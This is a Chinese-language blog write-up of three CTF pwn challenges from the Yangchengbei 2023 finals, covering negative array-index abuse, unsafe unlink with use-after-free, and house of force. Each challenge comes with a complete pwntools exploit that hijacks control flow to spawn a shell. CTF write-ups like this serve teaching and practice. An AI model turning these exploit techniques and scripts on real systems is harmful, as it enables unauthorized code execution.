羊城杯 2023 决赛PWN复现write up (3/3)

1.arrary_index_bank (数组越界)

一个蛮有意思的栈题,主要是考察了数组越界问题,不是很难但很有趣,记录一下

nss上这题给了个整数溢出的tag,但这题跟整数溢出半毛钱关系也没有,我还被误导找了半天可以整数溢出的点

只开了NX和PIE,实际上这个题的话就算再开个canary也无所谓的

伪代码的改良及部分分析

C
__int64 super_ai()
{
__int64 account[3]; // [rsp+0h] [rbp-30h] BYREF
__int64 v2; // [rsp+18h] [rbp-18h]
__int64 account_index; // [rsp+20h] [rbp-10h]
__int64 v4; // [rsp+28h] [rbp-8h]

puts("Hi, welcome to Samman Fried-Bank!");
puts("We totally care about your money, give it all to us!!!!");
puts("We can go to the ~~moon~~ *cough* I mean we are totally regulated!");
account[crypto_bro] = 384400LL; // 提前放置了两个账户
account[you] = 1000LL;
while ( 1 )
{
while ( 1 )
{
account[you] -= rand() % 100; // 每次循环都会将you账户的“余额”减少一点
if ( account[you] <= 0 ) // 如果余额小于0就直接退出
{
puts("sorry you are too poor bye! (overdraft fees sounds like a profitable idea hmmm....)");
return 1LL;
}
menu((__int64)account);
v4 = read_long();
if ( v4 != 1 )
break;
puts("Whose account?"); // 1分支
account_index = read_long(); // 该分支用来查看每个账户的余额,实际上就是根据索引打印栈中内容
if ( account_index > you ) // 索引不能大于全局常量you,you=1
{
puts("???");
exit(1);
}
printf("accounts[%lld] = %lld\n", account_index, account[account_index]);
}
if ( v4 != 2 )
break;
puts("Whose account?"); // 2分支
account_index = read_long(); // 2分支用于设置余额,实际上是根据索引“随意”修改栈内容
if ( account_index > you ) // 当然初始状态下也不能大于1
{
puts("???");
exit(1);
}
puts("How much?");
v2 = read_long();
account[account_index] = v2;
puts("Deposited! Your money is safe with us 100% guarenteed!");
}
puts("Sorry, please be civil with our bank AIs, we haven't figured ChatGPT yet.");
return 1LL;
}

其中这个题也是用了一个自制的读入函数

C
__int64 read_long()
{
char s[32]; // [rsp+0h] [rbp-20h] BYREF

fgets(s, 32, stdin); // 内部由fgets完成读入
return strtoll(s, 0LL, 10); // 转化函数,将读入的字符串转换为10进制数
}//由于使用了这个转换函数,这里一旦发的是不能转换为数字的内容就会返回0

long int strtol(const char *str, char** endptr, int base)

一个转换函数,其中:

str: 要转换的字符串的地址; endptr: 截止字符; base: 要转的进制

这个函数会将字符串中的字符挨个转换成对应的数字,如ascii码为36的'6'就转化为6,另外它有一定的进制识别能力;如果碰到无法转换的字符或者endptr就停止转换

这里算是一个小绊子,这个函数导致我们后面想往里写地址的时候不能像平时一样p64(addr)这样,需要直接写相应的数字,比如0x7777或者它对应的十进制字符串30583

重读源码后感觉这题做下来给人感觉其实更像是一个格式化字符串题目,都是通过偏移(索引)去修改栈中的指定内容,所以可以用格式化字符串的思维去理解

读完代码后会发现这个题没有任何栈溢出的机会,但会发现这个题中有许多的数组的索引寻址操作,其中索引也是由我们输入的

在我们输入索引后无论是打印还是更改索引对应的内容都是给出了相应的代码

分支1:

分支2:

但唯一的问题是,在顺利走到这些代码之前,还存在着对索引的合法性判断

这里you是全局常量,值为1

我们的返回地址的索引必定是比1大的,所以肯定无法直接输入返回地址所在的索引去找到返回地址进行篡改

那么再来看看还有什么可利用的点,不难发现,虽然这里阻止了大于1的索引,却没有对小于0的索引做出干涉,这样的越界访问同样是危险的

我们来到栈里看看负的索引对应的栈地址中会有什么好东西

rsp这里即索引0处是这个数组的首元素,rsp上面的栈就都是负索引了,这些内容我们都可以随意的篡改、泄露

可以发现即使是栈顶之上也存在着各种栈地址、代码段地址,我们可以利用这点进行各种信息的泄露,并且也可以进行一些可能有用的篡改

这里先泄露一个栈地址和一个函数地址备用,分别是索引-2,-1

那么PIE和栈地址的问题就解决了,再继续考虑怎么攻击的问题,其实通过前面的分析我们不难想到:设法去篡改常量you,那怎么做呢?也只有用负索引去找这个常量了

因为程序的内存段是在栈的顶上的,地址在数值上肯定比栈地址要小,所以肯定可以依靠负索引找到它的

根据泄露出的栈地址和函数基地址我们可以得出两个地址间的偏移大小,整除8后取负就是我们的索引了

然后我们就可以去篡改you了

发送一个超大的负索引值

这个rax可以成功的定位到you那里去,此时就可以将9写入you了

这样我们就可以利用索引7(去栈上数)将想写的地址填入返回地址处了

至于这里篡改的you的值呢,也是稍微有一丢丢讲究的,因为每次循环时都会找到索引you对应的位置进行一些操作,所以这个索引位置的值至少应该有可写权限而且大于0

比如我自己一开始瞎写的时候往里填了个0x777,结果发现在循环开头这里就直接寄了,原因是根据0x777找到的位置所在区域没有可写权限

至于这个我的评价是既然题目给了后门函数不用布置那么长的ROP链,那就在返回地址附近找个合适的值往上填就得了

比如这个9就蛮不错的

选择分支2,索引选择7,然后发送后门地址(根据前面分析的这里不能转化成字节型,而是转换成字符串)

这里也能看到返回地址成功篡改了

这里发现栈对齐问题,那就用利用7和8两个索引多加一个ret在前面

完整exp:

Python
from pwn import *
from LibcSearcher import *

#r=remote('node4.anna.nssctf.cn',28469)
r = process("./ycb_f_1")
gdb.attach(r, "b *$rebase(0x13f4)")
context(os = "linux", arch = "amd64", log_level= "debug")

t=ELF('./ycb_f_1')

r.sendlineafter("> ", '1')
r.sendlineafter("Whose account?\n", '-1')
r.recvuntil("] = ")
t_base = int(r.recvline()[:-1],10)-0x1426
win_addr = t_base + 0x1310
you_addr = t_base + 0x4010
ret_addr = t_base + 0x101a
log.info(hex(t_base))

r.sendlineafter("> ", '1')
r.sendlineafter("Whose account?\n", '-2')
r.recvuntil("] = ")
fuc_rbp_addr = int(r.recvline()[:-1],10)
log.info(hex(fuc_rbp_addr))
offset = -((fuc_rbp_addr- 0x30 - you_addr)/8)

r.sendlineafter("> ", '2')
r.sendlineafter("Whose account?\n", str(offset))
r.sendlineafter("How much?\n", '9')

r.sendlineafter("> ", '2')
r.sendlineafter("Whose account?\n", '7')
r.sendlineafter("How much?\n", str(ret_addr))

r.sendlineafter("> ", '2')
r.sendlineafter("Whose account?\n", '8')
r.sendlineafter("How much?\n", str(win_addr))

r.sendlineafter("> ", '3')

r.interactive()

2. Printf but not fmtstr(unsafe_unlink)

检查:

开了canary,不过无所谓

题目是一个常见的菜单程序,没什么好注意的,唯一一点就是没给推出分支,而这题我是利用unlink打的栈返回地址,所以需要把攻击目标换成分支函数里的返回地址

几个分支函数(代码审计已注释)

这个题的代码写的很简单,没什么要注意的

其中主要就是uaf,由于uaf的存在,我们可以自由的操控各个chunk完成unlink攻击,以及unlink之后的利用

我们先申请两个chunk

这里可以稍微拿捏一下chunk的排布,chunk0我用了0x518,利用这种方式我们可以让chunk0的最后8字节数据域与chunk1的prev_size重叠,从而能够篡改到chunk1的prev_size

然后我们先free掉chunk0,泄露一下libc

在我们释放以泄露libc的同时,我们也利用一次正常的释放将chunk1的prev_inuse位清0,因为这题没溢出,利用堆排布篡改prev_size就是极限了,所以只能用这种方式去清0

然后就是在chunk0中伪造fake_chunk以及chunk1的prev_size

我们将&chunk0也就是这个题中的bss段指针数组作为攻击目标,为了绕过check,我们将&chunk0的-0x18和-0x10分别放到fd和bk位置

然后填充chunk0的其他数据域并篡改prev_inuse

这样就做好了unsafe_unlink的准备,我们将chunk1释放触发对chunk0的后向合并

(这里会发现size变成0x20d61了,这是因为chunk1下面没放隔离用的chunk,这里后向合并之后顺便也与top chunk合并上了,不过对攻击没影响)

可以看到也是成功的把0x4040e0-0x18的地址放到了chunk0的位置上,这样我们edit chunk0的时候就可以任意修改指针数组了

这个题的话,由于我们可以借助show去打印指针数组里的指针中的内容,那就很适合打栈上的返回地址,我们可以利用uaf去泄露环境变量environ中的栈地址

(这里我顺便改了改chunk0的指针让它指向数组首元素地址,更方便后面的使用)

减去0x120的偏移就是我们主函数的返回地址了(由于开篇提过的问题,实际上使用的是再减0x30的edit返回地址)

再次篡改指针数组,把返回地址放到chunk1处,然后顺便在后面放一个/bin/sh参数,bss段地址固定,方便system的传参

现在我们终于摸到了我们最爱的返回地址,篡改一下就完成了

构造好ROP链(有栈对齐多加一个ret,用了一个libc里的pop rdi,以及libc里的system函数)利用篡改后的chunk1_ptr写到栈上

可以看到顺利的将read位置定在了edit返回地址处

搞定

完整exp:

C
from pwn import *

#r=remote('node4.anna.nssctf.cn',28633)
r = process("./pwn")
gdb.attach(r, "b *0x4016de")
context(os = "linux", arch = "amd64", log_level= "debug")
t = ELF("./pwn")
libc = ELF("./libc.so.6")

def add(idx,size):
r.recvuntil(b'>')
r.sendline(b'1')
r.recvuntil(b'Index: ')
r.sendline(str(idx).encode())
r.recvuntil(b'Size: ')
r.sendline(str(size).encode())

def free(idx):
r.recvuntil(b'>')
r.sendline(b'2')
r.recvuntil(b'Index: ')
r.sendline(str(idx).encode())

def edit(idx,data):
r.recvuntil(b'>')
r.sendline(b'3')
r.recvuntil(b'Index: ')
r.sendline(str(idx).encode())
r.recvuntil(b'Content: ')
r.send(data)

def show(idx):
r.recvuntil(b'>')
r.sendline(b'4')
r.recvuntil(b'Index: ')
r.sendline(str(idx).encode())
r.recvuntil(b"Content: ")
return u64(r.recv(6).ljust(8, b'\x00'))

chunk0_addr = 0x4040E0

add(0, 0x518)
add(1, 0x510)
free(0)
libc.address = show(0) - 0x1f6cc0
log.info(hex(libc.address))

fake_chunk = p64(0) + p64(0x511) + p64(chunk0_addr-0x18) + p64(chunk0_addr-0x10)
payload = fake_chunk + b'\x00'*0x4f0 + p64(0x510)
edit(0, payload)
free(1)

payload = p64(0)*3 + p64(0x4040e0) + p64(libc.symbols["environ"])
edit(0, payload)
edit_return = show(1) - 0x120 - 0x30
log.info(hex(edit_return))

edit(0, p64(0x4040e0) + p64(edit_return) + b"/bin/sh\x00")
ROP_chain = p64(0x40101a) + p64(libc.address + 0x23b65) + p64(0x4040f0) + p64(libc.symbols['system'])
edit(1, ROP_chain)


r.interactive()

 

[羊城杯 2023 决赛](force,mmap泄露libc) eazy_force

主函数是个简单的菜单引导,没什么好看的

这题基本上就是一个add函数

这里关键是往chunk里写东西的时候,它没有对输入长度正常限制,使用了一个固定的0x30,这样一来我们只要让chunk较小就能自由溢出改写下一个chunk的header了,这题主要是篡改top chunk的size。

以及添加完给出的打印,可以泄露chunk的地址,用来泄露libc

这个题作为2.23的题目,还是挖了一点坑的,这题只给了一个add,这里面有申请,写入,以及打印chunk地址的功能,size没给限制,没有free,不能后期更改chunk内容,不能打印chunk内容,基本上就是这样。

感觉这题好像有点锁force打法的,别的打法应该也没得打,限制太多

在篡改top chunk的size之前,我们先用mmap分配一个chunk,用它的地址泄露libc

在不开启ASLR(地址空间随机化)的情况,由mmap分配的内存地址与ld地址、libc地址的偏移是固定的

这里加上一定偏移就可以拿到libc基址了

接下来就是打house of force了,我们先用0x18申请一个最小的0x20大小的chunk,用来溢出top chunk

填上3个8字节的填充,再填入-1的十六进制数,就可以篡改掉top chunk的size了

计算得出重定向size

这里重定向的目标我选在了got表上面的位置

我们直接打printf的got表

这样一来read篡改完就直接调用fake_printf完成攻击了

Python
from pwn import *

#r=remote('node4.anna.nssctf.cn',28938)
r = process("./pwn")
gdb.attach(r, "b *0x4009ea")
context(os = "linux", arch = "amd64", log_level= "debug")
t = ELF("./pwn")
libc = ELF("./libc.so.6")

def add_heapaddr(index, size, data):
r.sendlineafter(b"4.go away\n", "1")
r.sendlineafter(b"which index?\n", str(index))
r.sendlineafter(b"how much space do u want?\n", str(size))
r.sendlineafter(b"now what to write?\n", data)
r.recvuntil(b"the balckbroad on ")
tmp = r.recvuntil(b" is")[:-3]
return tmp

libc.address = int(add_heapaddr(0, 0x200000, p64(0)), 16)+0x200ff0
log.info(hex(libc.address))

heap_addr = int(add_heapaddr(1, 0x18, p64(0)*3 + p64(0xffffffffffffffff)), 16)
log.info(hex(heap_addr))

top_chunk_addr = heap_addr + 0x10
printf_got = t.got['printf']
good_target = printf_got - 0x10
malloc_size = good_target - top_chunk_addr - 0x10 - 0x10

add_heapaddr(2, malloc_size, b'')

# add_heapaddr(3, 0x50, p64(libc.address+0x4527a)*4)

r.sendlineafter(b"4.go away\n", "1")
r.sendlineafter(b"which index?\n", str(3))
r.sendlineafter(b"how much space do u want?\n", str(0x50))
r.sendlineafter(b"now what to write?\n", p64(0)*3 + p64(libc.address+0x45226))

r.interactive()

 

 

posted @ 2024-08-03 21:11  ink777  阅读(25)  评论(0编辑  收藏  举报